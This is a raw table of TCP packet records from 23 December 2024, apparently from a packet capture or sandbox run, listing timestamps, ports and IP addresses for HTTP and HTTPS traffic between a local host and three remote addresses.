Dec 23, 2024 06:53:56.367466927 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.367489100 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.367501974 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.368206978 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.368247032 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.368278980 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.368289948 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.368316889 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.368329048 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.428052902 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.428113937 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.428124905 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.428134918 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.428150892 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.428323030 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.428401947 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.428447008 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.428654909 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.428738117 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.428750992 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.428819895 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.429451942 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.429503918 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.429528952 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.429539919 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.429574013 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.429585934 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.430319071 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.430362940 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.430403948 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.430413961 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.430449009 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.431173086 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.431216955 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.431267977 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.431279898 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.431323051 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.431323051 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.432004929 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.432049036 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.432085037 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.432096004 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.432128906 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.432890892 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.432935953 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.432985067 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.432996988 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.433028936 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.433713913 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.433758020 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.433835983 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.433852911 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.433880091 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.433892965 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.434580088 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.434622049 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.434688091 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.434730053 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.490549088 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.490653992 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.490667105 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.490742922 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.490910053 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.490967035 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.491051912 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.491064072 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.491102934 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.491750956 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.491796970 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.491837978 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.491863966 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.491877079 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.491894960 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.492593050 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.492636919 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.492687941 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.492698908 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.492738008 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.493443012 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.493489027 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.493535995 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.493546963 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.493582964 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.493592978 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.494311094 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.494355917 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.494385004 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.494396925 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.494424105 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.494441986 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.495170116 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.495214939 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.495266914 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.495279074 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.495311022 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.495323896 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.496006012 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.496049881 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.496109962 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.496120930 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.496157885 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.496890068 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.496934891 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.496992111 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.497004032 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.497035980 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.497046947 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.497714043 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.497756004 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.497818947 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.497831106 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.497865915 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.498578072 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.498621941 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.498682022 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.498693943 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.498728991 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.499447107 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.499491930 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.499555111 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.499567032 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.499600887 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.500910997 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.500971079 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.500988007 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.500999928 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.501024008 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.501039982 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.501214981 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.501259089 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.501365900 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.501377106 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.501409054 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.502027035 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.502072096 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.502139091 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.502154112 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.502182007 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.502194881 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.502860069 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.502902985 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.503014088 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.503025055 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.503057003 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.503726959 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.503788948 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.503820896 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.503838062 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.503860950 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.503880978 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.504590988 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.504635096 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.504682064 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.504692078 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.504726887 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.553972006 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.554018974 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.554039955 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.554050922 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.554075003 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.554100037 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.554295063 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.554343939 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.554411888 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.554424047 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.554455996 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.555161953 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.555207968 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.555238962 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.555305004 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.555526972 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.555567026 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.555639982 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.555653095 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.555685043 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.556387901 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.556432009 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.556473017 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.556489944 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.556520939 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.556533098 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.557220936 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.557265043 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.557312012 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.557323933 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.557354927 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.557367086 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.558114052 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.558163881 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.558331966 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.558347940 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.558374882 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.558383942 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.558948994 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.558995008 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.559061050 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.559072971 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.559103012 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.559112072 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.559797049 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.559842110 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.559911013 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.559922934 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.559953928 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.560662031 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.560703993 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.560715914 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.560796022 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.620152950 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.620239973 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.620320082 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:58.006953001 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.007004976 CET	443	49813	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:58.007057905 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.008336067 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.008359909 CET	443	49813	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:58.009407043 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.009428978 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:58.009484053 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.009893894 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.009923935 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:58.009985924 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.010481119 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.010500908 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:58.011020899 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.011037111 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:58.080091953 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.080162048 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:58.080228090 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.080486059 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:58.080506086 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:58.305560112 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:58.305634975 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:58.309714079 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:58.309745073 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:58.310091019 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:58.312068939 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:58.312131882 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:58.312140942 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:58.312418938 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:58.359342098 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:58.975039005 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:58.975240946 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:58.975326061 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:58.975506067 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:58.975537062 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:58.975552082 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:59.088931084 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:59.088989019 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:59.089096069 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:59.089725971 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:59.089744091 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:59.702944994 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.703294039 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.703337908 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.704394102 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.704463959 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.705173969 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.705544949 CET	443	49813	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.705775976 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.705827951 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.705903053 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.705972910 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.706351995 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.706362009 CET	443	49813	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.706789017 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.706796885 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.707427979 CET	443	49813	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.707492113 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.708539963 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.708606958 CET	443	49813	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.708935022 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.708944082 CET	443	49813	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.709175110 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.709238052 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.709641933 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.709724903 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.709867001 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.755331993 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.756558895 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.756558895 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.756567955 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.756587982 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.769001007 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.769294977 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.769309998 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.770301104 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.770489931 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.770744085 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.770806074 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.770889044 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.803462982 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.811338902 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.818600893 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.818614006 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.865595102 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.986296892 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:53:59.986421108 CET	443	49813	172.217.21.36	192.168.2.6
Dec 23, 2024 06:53:59.986480951 CET	49813	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.285695076 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:00.285763979 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:00.538613081 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.538805962 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.538866043 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.545070887 CET	49815	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.545092106 CET	443	49815	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.560642958 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.560789108 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.560853004 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.560882092 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.561014891 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.561059952 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.561068058 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.568444967 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.568501949 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.568515062 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.581235886 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.581310987 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.581320047 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.595249891 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.595303059 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.595316887 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.617980003 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.618150949 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.618199110 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.619010925 CET	49818	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.619030952 CET	443	49818	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.647217989 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.647231102 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.690954924 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.690965891 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.740899086 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.746737957 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.753793955 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.753858089 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.753871918 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.766935110 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.766994953 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.767004967 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.780564070 CET	443	49816	172.217.21.36	192.168.2.6
